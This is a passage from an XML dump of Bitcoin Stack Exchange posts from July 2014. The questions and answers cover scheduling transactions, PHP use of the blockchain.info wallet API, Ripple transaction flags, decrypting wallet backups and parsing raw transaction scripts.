appearance and mostly the same functionality. There are some guides around. Coindesk offers a very good &lt;a href=&quot;http://www.coindesk.com/information/&quot; rel=&quot;nofollow&quot;&gt;beginner guide&lt;/a&gt; which contains many of your questions and explaining all the important stuff.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="15412" LastEditDate="2014-07-18T14:34:52.213" LastActivityDate="2014-07-18T14:34:52.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29571" PostTypeId="1" CreationDate="2014-07-18T13:12:28.837" Score="1" ViewCount="50" Body="&lt;p&gt;I am starting with the execution of internet marketing activities for one Bitcoin gambling site that I owe, and I am trying to figure what best describes owners of bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any demographics information available? What sites / habbits dothe bitcoin user have, where does he browse sites online, is he using Bitcoin for gambling purposes etc etc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone can help with some insights or useful information I thank you in advance. &lt;/p&gt;&#xA;" OwnerUserId="18652" LastEditorUserId="15412" LastEditDate="2014-07-18T16:15:00.330" LastActivityDate="2014-07-18T16:15:00.330" Title="Bitcoin user characteristic" Tags="|gambling|user-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29572" PostTypeId="2" ParentId="29571" CreationDate="2014-07-18T13:25:00.810" Score="1" Body="&lt;p&gt;Luckily you are not the first person trying to figure this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to an online poll, the average user of Bitcoin is a 32.1-year-old “libertarian” male, from a report at &lt;a href=&quot;http://thinkprogress.org/economy/2014/02/27/3341411/bitcoin-privilege/&quot; rel=&quot;nofollow&quot;&gt;ThinkProgress&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some realy detailed Demographics out there:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.zerohedge.com/news/2013-03-10/demographics-bitcoin&quot; rel=&quot;nofollow&quot;&gt;Zerohedge.com&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://simulacrum.cc/2013/03/04/the-demographics-of-bitcoin-part-1-updated/&quot; rel=&quot;nofollow&quot;&gt;Simulacrum.cc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-07-18T13:25:00.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29573" PostTypeId="2" ParentId="9282" CreationDate="2014-07-18T13:28:46.313" Score="0" Body="&lt;p&gt;There is a solution for that in the market right now. There are Digital Legacy platforms that keep your Digital Data safe while you are alive and transfer them to your assigned beneficiaries when you are gone. What I mean by Digital Data is all your information and belongings you have on the web, such as - accounts, passwords, docs, pics, contact list, insurances as well as your online currencies (Bitcoins and other type of coins). I am currently using a platform called &lt;strong&gt;PlannedDeparture&lt;/strong&gt;. It allows me to store all the information I want and assign beneficiaries with instructions with what I want them to do with that information or data. For example to close down my facebook account or to claim the money from my online banking and my Bitcoins too. The platform check your activity on social media (you choose which one). If you do not appear to be active they will send an email to verifiers that you have again assigned, to verify your current situation. Once they have confirmed your situation, They will transfer all the data to your beneficiaries with instructions. It is a very user-friendly platform that allows you to store many information under many categories. Check it out at www.planneddeparture.com if you dont like it there are others that may suit your preferences better.&lt;/p&gt;&#xA;" OwnerUserId="18636" LastActivityDate="2014-07-18T13:28:46.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29574" PostTypeId="1" CreationDate="2014-07-18T17:53:08.177" Score="3" ViewCount="2013" Body="&lt;p&gt;I just wanted to know if you could schedule a bitcoin transaction. For example I want to send some BTC to someone exactly at 4:00 pm but it is 1:00 pm at my current place. Is that possible so that my wallet somehow automatically sends the BTC after a certain time?&lt;/p&gt;&#xA;" OwnerUserId="18425" LastActivityDate="2014-07-19T07:51:12.510" Title="How to schedule a bitcoin transaction?" Tags="|transactions|automation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29575" PostTypeId="2" ParentId="29574" CreationDate="2014-07-18T18:04:37.390" Score="3" Body="&lt;h2&gt;Option 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm not sure on which platform you are, but if you use a Linux or Mac, you can combine the following two commands (sources &lt;a href=&quot;https://stackoverflow.com/questions/18945669/linux-how-to-run-script-at-certain-time&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Check also the &lt;code&gt;at&lt;/code&gt; &lt;a href=&quot;http://manpages.ubuntu.com/manpages/hardy/man1/at.1posix.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;ls -l&quot; | at 07:00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bitcoind sendtoaddress &amp;lt;bitcoinaddress&amp;gt; &amp;lt;amount&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to make something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;bitcoind sendtoaddress    1MAtHias8yvaLcDgckkG5QnVLY7ucBZrGv 0.01&quot; | at 07:00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to send me 0.01 BTC at 07:00 o'clock in the morning. I think you're computer should stay on for this, as it cannot send a transaction with it turned off. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Option 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can also work with &lt;code&gt;sleep&lt;/code&gt; (Mac and Linux only):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sleep 120 &amp;amp;&amp;amp; bitcoind sendtoaddress 1MAtHias8yvaLcDgckkG5QnVLY7ucBZrGv 0.01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The number behind &lt;code&gt;sleep&lt;/code&gt; is the amount of seconds that there is nothing executed. So now it will send 0.01 BTC to me, after 2 (=120/60) minutes. The &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; will first execute the left side. If that executed succesful, the right side is executed. It is more insightful, but you'll have to calculate the amount of seconds and is as precise as your calculations.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Option 3&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For windows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;timeout 120 &amp;amp;&amp;amp; bitcoind sendtoaddress   1MAtHias8yvaLcDgckkG5QnVLY7ucBZrGv 0.01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;timeout&lt;/code&gt; is the sleep variant of windows. Probably doesn't work on Windows XP, but works here on W8 and should work on W7. The &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; does the same as in &lt;strong&gt;Option 2&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-07-19T06:40:06.803" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="29576" PostTypeId="2" ParentId="161" CreationDate="2014-07-18T18:35:01.737" Score="9" Body="&lt;p&gt;According to a BIP (Bitcoin Improvement Proposal) I found, this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; nSubsidy &amp;gt;&amp;gt;= (nHeight / 210000);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will actually wrap the reward generation back to 50 at some point in 2200 or so. Making the supply of bit coins infinite. The python code above does not have this property. The C++ code does. See BIP &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0042.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0042.mediawiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18656" LastActivityDate="2014-07-18T18:35:01.737" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29577" PostTypeId="1" AcceptedAnswerId="29578" CreationDate="2014-07-18T19:12:21.723" Score="4" ViewCount="3413" Body="&lt;p&gt;I am a complete noob to PHP. But I just wanted to know how can you use the BlockChain API to get your wallet balance. I tried but could get no result. I do not even know how to print it. Please help. This is my current code :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;    $guid=&quot;xxxxxxxxx&quot;;&#xA;    $main_password=&quot;xxxxxxxxx&quot;;&#xA;&#xA;    $json_url = &quot;https://blockchain.info/merchant/$guid/balance?password=$main_password&quot;;&#xA;&#xA;    $json_data = file_get_contents($json_url);&#xA;&#xA;    $json_feed = json_decode($json_data);&#xA;&#xA;    $message = $json_feed-&amp;gt;message;&#xA;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And what exactly is the guid? Is it the wallet identifier?&lt;/p&gt;&#xA;" OwnerUserId="18425" LastActivityDate="2016-08-23T07:30:56.640" Title="How to use BlockChain API?" Tags="|blockchain.info|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29578" PostTypeId="2" ParentId="29577" CreationDate="2014-07-18T19:19:18.450" Score="4" Body="&lt;p&gt;Your code is close to what you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$guid=&quot;xxxxxxxxx&quot;;&#xA;$main_password=&quot;xxxxxxxxx&quot;;&#xA;&#xA;$json_url = &quot;https://blockchain.info/merchant/$guid/balance?password=$main_password&quot;;&#xA;&#xA;$json_data = file_get_contents($json_url);&#xA;&#xA;$json_feed = json_decode($json_data);&#xA;&#xA;$balance = $json_feed-&amp;gt;balance;&#xA;&#xA;echo $balance;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The response looks like this (Wallet Balance in Satoshi):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ &quot;balance&quot;: 1000}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you need to fetch the balance object not the message one.&#xA;Then add an echo to print out the balance.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-07-18T19:19:18.450" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="29579" PostTypeId="1" CreationDate="2014-07-18T20:38:35.433" Score="0" ViewCount="508" Body="&lt;p&gt;At the moment I'm trying to add flags to my custom Ripple transactions that I submit through JSON RPC. However, when I send my request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{  &#xA;   &quot;id&quot;:1,&#xA;   &quot;method&quot;:&quot;sign&quot;,&#xA;   &quot;params&quot;:[  &#xA;      {  &#xA;         &quot;secret&quot;:&quot;sxxxxxxxxxxxxxxxxxxxxx&quot;,&#xA;         &quot;tx_json&quot;:{  &#xA;            &quot;Account&quot;:&quot;rfESTMcbvbvCBqU1FTvGWiJP8cmUSu4GKg&quot;,&#xA;            &quot;Amount&quot;:&quot;31000000&quot;,&#xA;            &quot;Destination&quot;:&quot;rUD9V5kvnCpwN9HbZQqCwziMv3vtGgswZF&quot;,&#xA;            &quot;Flags&quot;:2.147483648e+09,&#xA;            &quot;LastLedgerSequence&quot;:7824714,&#xA;            &quot;Sequence&quot;:63166,&#xA;            &quot;TransactionType&quot;:&quot;Payment&quot;&#xA;         }&#xA;      }&#xA;   ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get such responses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{  &#xA;   &quot;result&quot;:{  &#xA;      &quot;error&quot;:&quot;invalidParams&quot;,&#xA;      &quot;error_code&quot;:27,&#xA;      &quot;error_message&quot;:&quot;Field 'tx_json.Flags' has bad type.&quot;,&#xA;      &quot;request&quot;:{  &#xA;         &quot;command&quot;:&quot;sign&quot;,&#xA;         &quot;secret&quot;:&quot;sxxxxxxxxxxxxxxxxxxxxx&quot;,&#xA;         &quot;tx_json&quot;:{  &#xA;            &quot;Account&quot;:&quot;rfESTMcbvbvCBqU1FTvGWiJP8cmUSu4GKg&quot;,&#xA;            &quot;Amount&quot;:&quot;31000000&quot;,&#xA;            &quot;Destination&quot;:&quot;rUD9V5kvnCpwN9HbZQqCwziMv3vtGgswZF&quot;,&#xA;            &quot;Flags&quot;:2147483648,&#xA;            &quot;LastLedgerSequence&quot;:7824714,&#xA;            &quot;Sequence&quot;:63166,&#xA;            &quot;TransactionType&quot;:&quot;Payment&quot;&#xA;         }&#xA;      },&#xA;      &quot;status&quot;:&quot;error&quot;&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Indicating that &lt;code&gt;Flags&lt;/code&gt; is a bad type. Is it due to &lt;code&gt;Flags&lt;/code&gt; in my request being sent in a float format (even though the response properly interprets it), or is it something else?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-11-17T14:43:46.210" Title="Ripple - how to properly set flags?" Tags="|transactions|ripple|json-rpc|error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29580" PostTypeId="2" ParentId="29541" CreationDate="2014-07-18T20:41:14.363" Score="1" Body="&lt;p&gt;You can't, but you could do something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start off with there isnt a single set of order books for BTC/USD, because there are dozens of exchanges each with their own set of books. Aggregating all of data from all the exchanges in to a single order book isnt going to work due to the pricing differentials (arbitrage opportunities) across the exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to do this for a single exchange (such as BitStamp) you'd need to write script (or program) to download all of this data from their API (or scrape it from the HTML), and insert it in to a database. However this would only give you data from the present forward. If you wanted historical data, you'd have to find someone who is actively running a bot, and try to purchase the data from them. Try asking around on BitCoinTalk.org, or you could ask the exchanges themselves if they'd be willing to sell you this data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also something you should be aware of, in my experience writing my own trading bot, i've noticed that some open orders exist for a very short amount of time (&amp;lt; 1 second). So if you're going to write your own bot, keep this in mind. Also keep in mind that most exchanges use CDNs to prevent DDoS attacks, and will actively throttle your bot if you send too many requests per second. If you're clever you can evade the CDN throttling, and send enough requests per second to observe those short lived orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how to create this in to a moving 3D graph? I have no idea. You could always write your own program, but for something like this i'm sure there is already a product out there than can do it.&lt;/p&gt;&#xA;" OwnerUserId="15695" LastActivityDate="2014-07-18T20:41:14.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29581" PostTypeId="2" ParentId="29544" CreationDate="2014-07-18T20:49:03.710" Score="2" Body="&lt;p&gt;Try searching BitCoinTalk.org, it has messages from Satoshi going back to late 2009, so I would assume if these messages existed they would be there.&lt;/p&gt;&#xA;" OwnerUserId="15695" LastActivityDate="2014-07-18T20:49:03.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29584" PostTypeId="2" ParentId="29544" CreationDate="2014-07-19T05:57:17.550" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.cryptocoinsnews.com/news/owns-bitcoins-infographic-wealth-distribution/2014/03/21&quot; rel=&quot;nofollow&quot;&gt;Here's a huge infographic concerning distribution.&lt;/a&gt; You may also check out the &lt;a href=&quot;http://www.washingtonpost.com/blogs/the-switch/wp/2014/03/03/forget-the-1-percent-in-the-bitcoin-world-half-the-wealth-belongs-to-the-0-1-percent/&quot; rel=&quot;nofollow&quot;&gt;distribution of companies in the globe&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For early posts, only bitcointalk (and, after a while, reddit) can be of help.  There was a huge debate during the Occupy movement, as many individuals there thought the distribution wasn't &quot;fair&quot;. &lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2014-07-19T05:57:17.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29586" PostTypeId="1" CreationDate="2014-07-19T06:56:58.523" Score="8" ViewCount="7513" Body="&lt;p&gt;Recent changes to Andreas Schildbach's Bitcoin client for Android have removed the option to export private keys. This has been replaced by an option to back up the entire wallet. Unfortunately, the wallet data of the Schildbach client is stored in an arcane format called protobuf (short presumably for Protocol Buffers). The Schildbach client can restore a protobuf wallet from its AES-encoded backup file. But the protobuf wallet cannot be imported into a different Bitcoin client such as the Bitcoin Core (QT) client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For emphasis, I'm aware of the command line method of decoding the back-ups created by Schildbach's client, which in the past allowed the private keys to be saved in AES encrypted format to /sdcard/Download. The following command worked in the past to produce a human readable copy of my Bitcoin private keys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl enc -d -aes-256-cbc -a -in encrypted-wallet-keys -out decrypted-wallet-keys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This no longer works. The following command instead produces a non-AES-encrypted protobuf wallet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl enc -d -aes-256-cbc -a -in bitcoin-wallet-backup-2014-07-19 -out bitcoin-wallet-backup-2014-07-19-decrypted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The -out file is not an ASCII copy of my private keys but a copy of the protobuf wallet used internally by the Schildbach Bitcoin client (found at /data/data/de.schildbach.wallet/files/wallet-protobuf).&lt;/p&gt;&#xA;" OwnerUserId="18663" LastEditorUserId="5406" LastEditDate="2016-01-05T13:28:05.997" LastActivityDate="2019-07-25T02:25:47.787" Title="How do I extract my private keys from a protobuf wallet?" Tags="|wallet|private-key|bitcoin-wallet-app|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29587" PostTypeId="1" CreationDate="2014-07-19T07:10:48.383" Score="0" ViewCount="3559" Body="&lt;p&gt;I am not very familiar with php but I just want to know how this works. I am trying to use the blockchain API to send some money for testing purposes but the transaction isn't taking place. My current code is this :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;&#xA;$guid=&quot;xxxxxxxx&quot;;&#xA;$main_password=&quot;xxxxxxxx&quot;;&#xA;$amount = &quot;50000&quot;;&#xA;$to = &quot;xxxxxxxx&quot;;&#xA;&#xA;&#xA;$json_url = &quot;https://blockchain.info/merchant/$guid/payment?password=$main_password&amp;amp;second_password=$second_password&amp;amp;to=$address&amp;amp;amount=$amount&amp;amp;from=$from&amp;amp;shared=$shared&amp;amp;fee=$fee&amp;amp;note=$note&quot;;&#xA;&#xA;$json_data = file_get_contents($json_url);&#xA;&#xA;$json_feed = json_decode($json_data);&#xA;&#xA;$message = $json_feed-&amp;gt;message;&#xA;$tx_hash = $json_feed-&amp;gt;tx_hash;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please tell me what is the error in my code and also how to print out the response on the screen.&lt;/p&gt;&#xA;" OwnerUserId="18425" LastActivityDate="2018-10-04T20:34:31.477" Title="How to send money using blockchain API?" Tags="|transactions|api|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29588" PostTypeId="2" ParentId="5324" CreationDate="2014-07-19T07:33:50.740" Score="0" Body="&lt;p&gt;I wrote this a while ago and used it to convert all my wallet.dat s to multibit.key to be able to import them to multibit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/shayanb/Open-Wallet-Format&quot; rel=&quot;nofollow&quot;&gt;https://github.com/shayanb/Open-Wallet-Format&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9876" LastActivityDate="2014-07-19T07:33:50.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29589" PostTypeId="2" ParentId="29587" CreationDate="2014-07-19T07:44:51.037" Score="1" Body="&lt;p&gt;You don't have to use all the optional variables in your request link, specially when you have not set a second password, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this suffice the request to send your transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$json_url = &quot;https://blockchain.info/merchant/$guid/payment?password=$firstpassword&amp;amp;to=$addressa&amp;amp;amount=$amounta&amp;amp;fee=$fee&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;even if you remove &quot;fee&quot; variable, it would still work but you should consider 0.0001 miners fee that is there by default for minimum miners fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also you can get these values from the response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$json_feed = json_decode($json_data); &#xA;&#xA;$message = $json_feed-&amp;gt;message; &#xA;$txid = $json_feed-&amp;gt;tx_hash; &#xA;$notice = $json_feed-&amp;gt;error; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9876" LastEditorUserId="9876" LastEditDate="2014-07-19T22:45:34.797" LastActivityDate="2014-07-19T22:45:34.797" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="29590" PostTypeId="2" ParentId="29574" CreationDate="2014-07-19T07:51:12.510" Score="0" Body="&lt;p&gt;you can have a php or python script and keep it running till the time comes, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$hour = date('G'); // 0 .. 23&#xA;// YOUR VARIABLES FOR THE JSON REQUEST SHOULD GO HERE&#xA;//if time = 16 &#xA;if ($hour == 16) { &#xA;    $json_url = &quot;https://blockchain.info/merchant/$guid/payment?password=$firstpassword&amp;amp;to=$addressa&amp;amp;amount=$amounta&quot;;  &#xA;$json_data = file_get_contents($json_url);&#xA;&#xA; } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is more of a pseudo-code for what I meant and might not work without modification.&lt;/p&gt;&#xA;" OwnerUserId="9876" LastActivityDate="2014-07-19T07:51:12.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29591" PostTypeId="1" AcceptedAnswerId="29597" CreationDate="2014-07-19T09:53:34.663" Score="1" ViewCount="124" Body="&lt;p&gt;According to different answers on this site the format of the standard TX claim script should be &lt;code&gt;[OP_PUSH DER(R+S)+HashType OP_PUSH PubKey]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;OP_PUSH&lt;/code&gt; code is &lt;code&gt;4C&lt;/code&gt;, &lt;code&gt;4D&lt;/code&gt; or &lt;code&gt;4E&lt;/code&gt; depending on push length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in this transaction I cannot see the expected code. I could not even find the definition of the one there:&#xA;&lt;a href=&quot;https://blockchain.info/rawtx/db320e85d8bef3895052d9bf002aeb185fa12eeef8445e3e45f31b9a0c90f9f6?format=hex&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/rawtx/db320e85d8bef3895052d9bf002aeb185fa12eeef8445e3e45f31b9a0c90f9f6?format=hex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;01 00 00 00&lt;/code&gt; is txin index, &lt;code&gt;8C&lt;/code&gt; is the scriptin length and then comes &lt;code&gt;49&lt;/code&gt;.&#xA;Instead of &lt;code&gt;49&lt;/code&gt; I would expect &lt;code&gt;4C&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it because you can leave out the &lt;code&gt;OP_CODEs&lt;/code&gt; or what am I missing?&lt;/p&gt;&#xA;" OwnerUserId="14475" LastEditorUserId="17113" LastEditDate="2014-07-19T11:27:42.717" LastActivityDate="2014-07-19T18:22:45.663" Title="I cannot see the expected OP_CODE in transactions" Tags="|script|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29592" PostTypeId="1" CreationDate="2014-07-19T09:56:51.060" Score="0" ViewCount="1261" Body="&lt;p&gt;It seems to me like you could put arbitrary data into a transaction payload, since it is JSON. Is this true, can a sender add additional fields to the transaction JSON? Or if thats not possible, could a sender put an arbitrary program into the scriptPubKey?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, ScriptPubKey could be &lt;code&gt;OP_DUP &amp;lt;myArbitraryData&amp;gt; OP_DROP OP_HASH160 &amp;lt;pubKeyHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&lt;/code&gt;, which would put some arbitrary data on the stack and then pop it off the stack right away again, which wouldn't influence the result of the script but would let the sender include arbitrary data in the transaction.&lt;/p&gt;&#xA;" OwnerUserId="3293" LastEditorUserId="3293" LastEditDate="2014-07-19T14:27:23.820" LastActivityDate="2014-07-19T14:27:23.820" Title="Can you put additional data in the payload?" Tags="|protocol|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29593" PostTypeId="2" ParentId="9645" CreationDate="2014-07-19T12:44:59.177" Score="-1" Body="&lt;p&gt;I think if you want it to use the info you musttransfer the wallet files especially the Wallet.dat files to your appdata folder on the C drive as the default loading folder is the appdata folder, uhnless you tell it to open the file from the flash disk or right click on it in the flash drive and tell multibit to open it the multibit will always look in the c drive in your appdata folder for the files it uses.&lt;/p&gt;&#xA;" OwnerUserId="18648" LastActivityDate="2014-07-19T12:44:59.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29594" PostTypeId="2" ParentId="29592" CreationDate="2014-07-19T13:02:38.790" Score="1" Body="&lt;p&gt;The JSON that you see is only a nice way to look at a transaction, provided by the API you're using. The actual &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;raw transaction&lt;/a&gt;, as it is transmitted on the network, is &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;binary data that looks quite different&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only place in the transaction that you can insert arbitrary data is the transaction &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;script&lt;/a&gt;. This script is normally used to specify the address that the money can be paid to, but can contain arbitrary data. Note that if this data happens to be a program, it won't be executed by any (typical) client, it's &lt;em&gt;just&lt;/em&gt; data.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-07-19T13:02:38.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29595" PostTypeId="1" AcceptedAnswerId="29596" CreationDate="2014-07-19T15:28:21.430" Score="4" ViewCount="3013" Body="&lt;p&gt;I'm looking to run bitcoind on a virtual machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the main nets Blockchain size is over 21GB, and growing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to compress this down or lower the amount of disk-space needed for the full Blockchain?&lt;/p&gt;&#xA;" OwnerUserId="14783" LastActivityDate="2014-07-23T02:37:23.473" Title="How To Lower The Disk Space Needed For Full Blockchain?" Tags="|blockchain|bitcoind|storage-footprint|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29596" PostTypeId="2" ParentId="29595" CreationDate="2014-07-19T16:47:30.590" Score="1" Body="&lt;p&gt;No, there isn't any straightforward way to reduce the disk space requirement.  The block chain is the size that it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various ways proposed for bitcoind to use less disk space (see &lt;a href=&quot;/questions/tagged/diskspace&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;diskspace&amp;#39;&quot; rel=&quot;tag&quot;&gt;diskspace&lt;/a&gt;), but as far as I know, none of them have yet been added to the standard distribution.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-19T16:47:30.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29597" PostTypeId="2" ParentId="29591" CreationDate="2014-07-19T18:22:45.663" Score="-1" Body="&lt;pre&gt;&lt;code&gt;[version]        01000000&#xA;[inputs]         01&#xA;[txid]           4f94da67fb56cf104850a03c3cbabdd4b0a38d7f47eadedaf670ee0d5fa296c8&#xA;[txout]          01000000&#xA;[in script len]  8c&#xA;[push signature] 493046022100e77bddaaae0f2e684776dff2e55f8d3654e78fbc9439fb53f4d73096eb1258c1022100aa4f0b33e1b99479a5a5a154773be244670d37ff6fd5da1bcc150e35c61fb51701&#xA;[push pubkey]    410485b6198b35faee9fb4f9ad6e809704057b930959fac62769858ed52b0cdf00015ad063612d2fe607e2b43f2f0bb4cf9169064872a971ae0be71e651412381d9e&#xA;[sequence]       ffffffff&#xA;[outputs]        02&#xA;[amount]         f44fc00200000000&#xA;[out script len] 19&#xA;[out script]     76a914fd69e5b61a949baf9c141e060b3c0c43f7637f5888ac&#xA;[amount]         9d7ded0600000000 &#xA;[out script len] 19&#xA;[out script]     76a914fe1a0e4a6163053f76cba0a7053850f07b34a7c288ac&#xA;[lock]           00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-07-19T18:22:45.663" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
